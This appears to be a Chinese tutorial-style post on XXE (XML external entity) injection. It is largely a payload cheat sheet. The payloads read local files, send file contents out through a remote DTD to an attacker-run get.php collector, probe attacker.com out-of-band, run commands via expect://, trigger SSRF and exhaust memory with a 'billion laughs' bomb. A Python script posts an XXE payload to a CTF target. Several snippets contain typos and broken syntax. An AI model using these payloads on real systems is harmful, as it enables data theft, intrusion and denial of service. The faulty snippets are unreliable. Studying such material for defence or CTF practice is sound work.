概念
XXE,是指在应用程序解析xml外部输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、执行系统命令等
典型的攻击如下:
1 2 3 4 5
| <?xml version="1.0" encoding="ISO-8859-1"?> //XML声明 <!DOCTYPE foo[ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/paswd" >]> //DTD部分 <foo>&xxe;</foo> //XML部分
|
定义实体必须写在DTD部分
特点:
- xml仅仅是纯文本,不会做任何事情
- xml可以自己发明标签(允许定义自己的标签和文档结构)
xml无处不在,是各种应用程序之间进行数据传输的常用工具,并且在信息存储和描述领域变得越来越好
XML实体
XML实体是在xml文档中表示数据项的一种方式,,而不是使用数据本身。各种实体内置于xml语言的规范中。
自定义实体
XML允许在DTD中定义自定义实体。
此定义意味着在使用过程中对实体&myentity的任何引用,在XML文档中的值都将替换成my entity value
1
| <!DOCTYPE foo [<!ENTITY myentity "my entity value">]>
|
外部实体
XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外
外部实体的声明需要使用SYSTEM关键字,并且必须指定URL然后从URL中加载实体值。例如:
1
| <!!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file">]>
|
XML外部实体是引发XML外部实体攻击的主要手段
XML元素
元素类型声明为xml文档中可能出现的元素的类型和数量、元素之间可能出现的内容以及它们必须出现的顺序设置了规则。
例如:
1 2 3
| <!ELEMENT stockCheck ANY>表示任何对象都可以在父级<stockCheck></stockCheck> <!ELEMENT stockCheck EMPTY>表示它可以为空<stockCheck></stockCheck> <!ELEMENT stockCheck(productld,storeld)>声明<stockkCheck>可以有子级<productld>和<storeld>
|
命名规则
xml元素必须遵循以下明明规则:
- 名称可以含字母、数字以及其他的字符
- 名称不能以数字或者标点符号开始
- 名称不呢以字符”xml”(或者”XML”或者”Xml”等)开始
可以使用任何名称,没有保留单词
最佳命名习惯
使名称具有描述性。使用下划线的名称也可以
注意:
- 避免”-“字符,如果是”first-name”,一些软件一般认为是认为需要提取第一个单词
- 避免”.”字符,如果是”frist.name”,一些软件会认为是”name”字符是对象”frist”的属性
- 避免”:”字符,冒号会被转换成命名空间来使用
文档类型定义
DTD在XML文档开头的可选DOCTPE元素中声明。DTD可以完全独立于文档本身,也可以从其他地方加载,或者可以是二者混合
漏洞成因
php中存在一个叫做simplexml__load_string的函数用来处理xml
这个函数将xml转换为对象
示例:
1 2 3 4 5
| <?php $test='<!!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file">]>'; $obj==simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT); print_r($obj); ?>
|
变量test里面是xml
然后试用simplexml_load_string将其转化为对象
攻击方式
内部实体和外部实体
内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
|
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
1
| <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
|
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
通用实体和参数实体
1.通用实体
通用实体就像是 XML 里的全局变量。
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
|
2.参数实体:
参数实体是专门在 DTD 内部使用的“局部变量”。
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
1 2 3
| <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
|
攻击流程
测试语句
本地输出
1
| <?xml version="1.0"?> <test>hello</test>
|
使用带外检测测试blind xxe
1
| <!DOCTYPE foo[ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
|
python测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import requests
# 替换为你当前的题目 URL url = ""
# 1. 构造请求头,告诉服务器我们要发送的是 XML 数据 headers = { "Content-Type": "application/xml" }
# 2. 构造恶意的 XML Payload,目标是读取 /flag xml_payload = """<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <root> <ctfshow>&xxe;</ctfshow> </root>"""
try: # 3. 使用 POST 方法发送请求,注意这里必须用 data= 传递原始文本,不能用 json= print(f"[*] 正在向 {url} 发送 XXE Payload...") response = requests.post(url, headers=headers, data=xml_payload, timeout=10) # 4. 打印服务器的回显结果 print("[+] 请求成功!服务器响应内容如下:\n") # 因为页面包含 php 源码,内容比较多,你可以直接打印全部 print(response.text) # 【进阶小技巧】如果你只想提取回显在最前面的 flag,可以对 response.text 进行简单的切片或正则匹配 # 比如:我们知道 flag 是在 <?php 之前输出的 # flag = response.text.split("<?php")[0].strip() # print(f"\n[★] 提取到的 Flag: {flag}")
except requests.exceptions.RequestException as e: print(f"[-] 请求发生错误: {e}")
|
这个xxe的payload声明了一个名为xxe的xml参数实体,然后再dtd中使用该实体,这将导致对攻击者的域进行DNS查找和HTTP请求来判断攻击是否成功
常见的payload
读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?xml version="1.0"?> <!DOCTYPE eleven [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <eleven>&xxe;</eleven>
读取php文件,发现读取内容为空、没有读取到文件内容,原因是 php 文件需要进行加密才能够被读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<eleven>&xxe;</eleven>
|
外部实体
1 2 3 4 5 6 7 8 9
| <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://your web server address/test.dtd"> %file; ]> <eleven>&send;</eleven>
//test.dtd <!ENTITY send SYSTEM "file:///c:/windows/win.ini">
|
无回显读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 1. 建立test.dtd外部实体文件,在远程服务器的解析目录下。 //test.dtd <!ENTITY % all "<!ENTITY send SYSTEM 'http://your web server address/get.php?file=%file;'>">
2. 建立get.php文件放在你的服务器根目录中用于接收数据 //get.php <?php $data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>
3. BP抓包修改,POST请求体。 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % remote SYSTEM "http://你的web服务器地址/test.dtd"> %remote; %all; ]> <eleven>&send;</eleven>
|
无回显:加载本地DTD
如果目标有防火墙等设备,阻止了对外连接,可以采用基于错误回显的XXE。这种方式最流行的一种就是加载本地的DTD文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?xml version="1.0" ?> <!DOCTYPE messege [ <!ENTITY % local_dtd SYSTEM "file:///目标机器本地的dtd文件绝对路径"> <!ENTITY % condition'aaa)> <!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval " <!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ENTITY aa (bb'> %local_dtd; ]> <eleven>any text</eleven>
<?xml version="1.0" ?> <!DOCTYPE messege [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd"> <!ENTITY % condition'aaa)> <!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval " <!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ENTITY aa (bb'> %local_dtd; ]> <eleven>any text</eleven>
|
Dos攻击
常见的XML炸弹:当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
|
命令执行【了解】
在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除。
漏洞代码如下:
1 2 3 4 5 6 7 8 9 10 11
| <?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
|
1 2 3 4 5 6
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "expect://ifconfig"> ]> <eleven>&xxe;</eleven>
|
SSRF了解
SSRF的触发点通常是在ENTITY实体中
1 2 3 4 5
| <?xml version="1.0" ?> <!DOCTYPE ANY [ <!ENTITY % ssrf SYSTEM "http://ip:port"> %ssrf; ]>
|